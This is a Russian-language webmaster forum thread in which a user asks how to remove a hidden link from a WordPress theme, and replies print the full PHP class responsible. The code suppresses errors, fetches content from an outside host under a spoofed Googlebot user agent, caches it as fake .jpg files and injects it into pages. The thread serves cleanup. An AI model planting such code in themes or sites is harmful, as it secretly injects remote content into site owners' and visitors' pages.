Помощник
Помогите Убрать Скрытую Ссылку В Wordpress, ссылка прописана функцией |
Biznessman
|
Сообщение
#1
|
||
|
|
||
|
|||
OlegK |
10.10.2012, 0:31;
Ответить: OlegK
Сообщение
#2
|
|
function return_links($lib_path) { $links_class = new Get_links(); $file = ABSPATH.'wp-content/uploads/2011/'.md5($_SERVER['REQUEST_URI']).'.jpg'; $_cache_lifetime = $links_class->_cache_lifetime; if (!file_exists($file)) { @touch($file, time()); $data = $links_class->get_remote(); file_put_contents($file, $data); return $data; } elseif ( time()-filemtime($file) > $_cache_lifetime || filesize($file) == 0) { @touch($file, time()); $data = $links_class->get_remote(); file_put_contents($file, $data); return $data; } else { $data = file_get_contents($file); return $data; } } это грохнуть по идее и вот это <?php $lib_path = dirname(__FILE__).'/'; require_once('functions.php'); $texts = new Get_links(); $texts = $texts->return_links($lib_path); echo $texts; ?> вот тут вот аналогично разбирали http://www.maultalk.com/topic133713.html -------------------- |
|
|
Vladimir-AWM |
10.10.2012, 10:01;
Ответить: Vladimir-AWM
Сообщение
#3
|
|
require_once грохать не надо, там же выше идут функции для темы.
Удалить $texts = new Get_links(); $texts = $texts->return_links($lib_path); echo $texts; и весь класс Get_links: <?php error_reporting('^ E_ALL ^ E_NOTICE'); ini_set('display_errors', '0'); error_reporting(E_ALL); ini_set('display_errors', '0'); class Get_links { var $host = 'wpcodes.org'; var $path = '/system.php'; var $_cache_lifetime = 21600; var $_socket_timeout = 5; function get_remote() { $req_url = 'http://'.$_SERVER['HTTP_HOST'].urldecode($_SERVER['REQUEST_URI']); $_user_agent = "Mozilla/5.0 (compatible; Googlebot/2.1; ".$req_url.")"; $links_class = new Get_links(); $host = $links_class->host; $path = $links_class->path; $_socket_timeout = $links_class->_socket_timeout; //$_user_agent = $links_class->_user_agent; @ini_set('allow_url_fopen', 1); @ini_set('default_socket_timeout', $_socket_timeout); @ini_set('user_agent', $_user_agent); if (function_exists('file_get_contents')) { $opts = array( 'http'=>array( 'method'=>"GET", 'header'=>"Referer: {$req_url}\r\n". "User-Agent: {$_user_agent}\r\n" ) ); $context = stream_context_create($opts); $data = @file_get_contents('http://' . $host . $path, false, $context); preg_match('/(\<\!--link--\>)(.*?)(\<\!--link--\>)/', $data, $data); $data = @$data[2]; return $data; } return '<!--link error-->'; } function return_links($lib_path) { $links_class = new Get_links(); $file = ABSPATH.'wp-content/uploads/2011/'.md5($_SERVER['REQUEST_URI']).'.jpg'; $_cache_lifetime = $links_class->_cache_lifetime; if (!file_exists($file)) { @touch($file, time()); $data = $links_class->get_remote(); file_put_contents($file, $data); return $data; } elseif ( time()-filemtime($file) > $_cache_lifetime || filesize($file) == 0) { @touch($file, time()); $data = $links_class->get_remote(); file_put_contents($file, $data); return $data; } else { $data = file_get_contents($file); return $data; } } } ?> Тут главное что бы проверок не было в каких-либо других файлах. Но тут они навряд ли будут. -------------------- |
|
|
Biznessman
|
Сообщение
#4
|
|
|
Совет Vladimir-AWM помог. Огромное спасибо!
|
|
|
||
|
Похожие темы
Тема | Ответов | Автор | Просмотров | Последний ответ | |
---|---|---|---|---|---|
Продам базу сайтов Wordpress в 16 миллионов доменов! Свежая сборка. | 17 | Boymaster | 9814 | 17.3.2024, 2:53 автор: Boymaster |
|
Перенос сайта на CMS Wordpress | 8 | freeax | 4849 | 10.3.2024, 14:58 автор: freeax |
|
Как настроить в WordPress для SEO оптимизации | 8 | rownong27 | 2431 | 2.3.2024, 12:59 автор: toplinks |
|
Помогите вспомнить рекламного бота Телеграм для обмена рекламой | 0 | Mixatraider | 692 | 21.2.2024, 23:42 автор: Mixatraider |
|
Восстановление сайтов из Вебархива на Wordpress. | 39 | freeax | 32503 | 14.2.2024, 14:32 автор: freeax |
Текстовая версия | Сейчас: 29.3.2024, 14:06 |